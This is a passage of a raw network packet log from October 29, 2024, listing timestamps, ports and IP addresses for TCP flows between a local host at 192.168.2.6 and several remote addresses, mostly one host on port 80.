Oct 29, 2024 17:59:47.494074106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494097948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494105101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.494126081 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.494158983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.494879961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494895935 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494911909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494927883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.494940042 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.494966030 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.499800920 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.500013113 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.500058889 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.500068903 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.500117064 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.515589952 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.518671036 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.518722057 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.521657944 CET	50033	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.521714926 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.521778107 CET	50033	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.522569895 CET	50033	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.522589922 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.524266958 CET	443	50027	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.524645090 CET	443	50027	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.524697065 CET	50027	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.525255919 CET	50027	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.525273085 CET	443	50027	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.527816057 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.528110027 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.528140068 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.528239012 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.528289080 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.528343916 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.528357983 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.528372049 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.528496981 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.528496981 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.528512001 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.528516054 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.530582905 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.530597925 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.530699968 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.530874014 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:47.530886889 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:47.541037083 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541054964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541070938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541088104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541116953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541117907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541152000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541177034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541192055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541191101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541212082 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541233063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541390896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541450977 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541455030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541471958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541493893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541507006 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541750908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541799068 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541800022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541822910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541838884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541838884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541855097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.541865110 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541878939 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.541896105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.580940962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.580980062 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.580996037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.581027985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.581063986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.610963106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611006021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611021996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611026049 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611038923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611057043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611058950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611068010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611083031 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611104012 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611257076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611288071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611300945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611304045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611320972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611330986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611339092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611350060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611363888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611382008 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611802101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611830950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611845016 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611845970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611860991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611862898 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611880064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.611881971 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611902952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.611915112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658318996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658344984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658353090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658401966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658426046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658431053 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658442020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658458948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658458948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658476114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658500910 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658500910 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658518076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658737898 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658763885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658786058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658802986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658830881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658848047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658871889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658874035 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658886909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.658895016 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658906937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.658931017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.659364939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.659404039 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.659442902 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.659459114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.659473896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.659482002 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.659490108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.659493923 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.659513950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.659527063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.698230028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.698246956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.698262930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.698283911 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.698319912 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728209019 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728233099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728250027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728266954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728271961 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728282928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728301048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728303909 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728321075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728328943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728347063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728372097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728643894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728688002 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728692055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728708029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728724957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.728734970 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728749990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.728768110 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.729161024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.729176998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.729192972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.729207993 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.729218006 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.729249001 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.785715103 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.785743952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.785788059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.785804987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.785823107 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.785831928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.785844088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.785849094 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.785865068 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.785870075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.785883904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.785895109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.785895109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.786010981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.786145926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.786187887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.786194086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.786210060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.786226988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.786236048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.786253929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.786263943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.786268950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.786281109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.786295891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.786328077 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.786359072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.787096977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.787151098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.787170887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.787184000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.787199974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.787242889 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.787269115 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.787579060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.788328886 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.788589001 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.788619995 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.789009094 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.789338112 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.789408922 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.789515972 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.789585114 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.789611101 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:47.815431118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.815481901 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.815536022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.815551043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.815589905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.845464945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845499992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845551968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845566034 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.845576048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845592022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845602036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.845609903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845633030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845633030 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.845649958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845659971 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.845665932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.845693111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.845716953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.846216917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.846262932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.846267939 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.846304893 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.846419096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.846446991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.846503019 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.846518040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.846534014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.846550941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.846560955 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.846585989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.903610945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903630018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903645039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903659105 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903676987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903692007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903688908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.903709888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903737068 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.903748989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.903824091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903947115 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903964043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.903979063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904002905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904010057 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.904017925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904035091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.904040098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904062986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.904088020 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.904742956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904797077 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.904911041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904927015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904959917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904961109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.904977083 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.904985905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.905018091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.905036926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.932553053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.932609081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.932638884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.932662964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.932687044 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.932693958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.932713032 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.932857990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.943010092 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:47.943270922 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:47.943286896 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:47.943901062 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:47.944267035 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:47.944366932 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:47.944447041 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:47.962460041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962493896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962510109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962554932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.962589979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.962611914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962627888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962642908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962672949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.962699890 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.962847948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962908030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962923050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.962953091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.962968111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.963172913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963190079 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963207006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963227034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963258028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.963283062 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.963615894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963632107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963649035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963685036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.963701963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.963874102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963897943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.963949919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.991334915 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:47.992609024 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:48.021183014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021321058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021378040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021382093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.021424055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.021431923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021467924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021502018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021557093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.021558046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021591902 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021625996 CET	80	49958	185.215.113.206	192.168.2.6
